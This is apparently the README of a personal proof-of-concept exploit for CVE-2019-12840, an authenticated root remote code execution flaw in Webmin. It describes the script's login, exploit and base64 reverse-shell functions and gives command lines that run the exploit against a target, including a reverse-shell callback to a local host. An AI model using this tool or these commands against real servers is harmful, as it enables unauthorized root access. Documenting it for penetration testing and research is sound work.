
Esto es una prueba de concepto propia i basica de la vulneravilidad CVE-2019-12840 la qual te da un RCE en root
This repository contains a Python script that exploits the CVE-2019-12840 vulnerability in Webmin.
The script attempts to log in to a Webmin server and then exploit the CVE-2019-12840 vulnerability. The script accepts several command-line arguments, including the username and password to log in to the Webmin server, the server URL, the server port, the local port for the reverse shell, and a command to execute on the server.
To use this script, you must provide at least the username, password, and URL of the Webmin server. Here is an example of how to use the script:
python exploit.py -U username -P password -u http://localhost:10000 -lhost 10.x.x.x -lport 443
The Python script in this repository is structured as follows:
Module imports: The script begins by importing several Python modules necessary for its operation. These include requests for making HTTP requests, argparse for handling command-line arguments, base64 for base64 encoding and decoding, and BeautifulSoup for parsing HTML.
Function definition: The script defines several functions:
CVE_2019_12840(url,auth_base64,cmd): This function performs a POST request to a specific URL with a specific payload and verifies the response.login(username,password,url): This function attempts to log in to the Webmin server with a provided username and password.exploit(sid,url,cmd): This function attempts to exploit the CVE-2019-12840 vulnerability on the Webmin server.b64revshell(lhost,lport): This function generates a base64-encoded reverse shell.Command-line argument handling: The script accepts several command-line arguments, including the username and password to log in to the Webmin server, the server URL, the server port, the local port for the reverse shell, and a command to execute on the server.
Exploit execution: If the script is run as a standalone program (instead of being imported as a module), it will try to log in to the Webmin server and then execute the exploit.
The script accepts several command-line arguments. Here is an example of how to use the script:
python3 CVE-2019-12840.py -h
This will display the program help, which includes the following:
_______ ________ ___ ___ __ ___ __ ___ ___ _ _ ___
/ ____\ \ / / ____| |__ \ / _ \/_ |/ _ \ /_ |__ \ / _ \| || | / _ \
| | \ \ / /| |__ ______ ) | | | || | (_) |______| | ) | (_) | || |_| | | |
| | \ \/ / | __|______/ /| | | || |\__, |______| | / / > _ <|__ _| | | |
| |____ \ / | |____ / /_| |_| || | / / | |/ /_| (_) | | | | |_| |
\_____| \/ |______| |____|\___/ |_| /_/ |_|____|\___/ |_| \___/
by CyberMonkey
Webmin <= 1.910 RCE (Authorization Required)
usage: python CVE-2019-12840.py -u https://10.10.10.10 -U matt -P Secret123 -c "id"
usage: python CVE-2019-12840.py -u https://10.10.10.10 -U matt -P Secret123 -lhost <LOCAL_IP> -lport 443
usage: CVE-2019-12840.py [-h] -U USERNAME -P PASSWORD -u URL [-p PORT] [-lport LPORT] (-c CMD | -lhost LHOST)
options:
-h, --help show this help message and exit
-U USERNAME username
-P PASSWORD password
-u URL target url
-p PORT target port
-lport LPORT local port for reverse shell
-c CMD command to execute
-lhost LHOST Send back a reverse shell at port 443
This script is a security exploit and should only be used for legitimate purposes, such as penetration testing or security research. It should not be used for illegal activities. Additionally, this script is designed to be used with Webmin servers vulnerable to CVE-2019-12840, so it may not work with all versions of Webmin.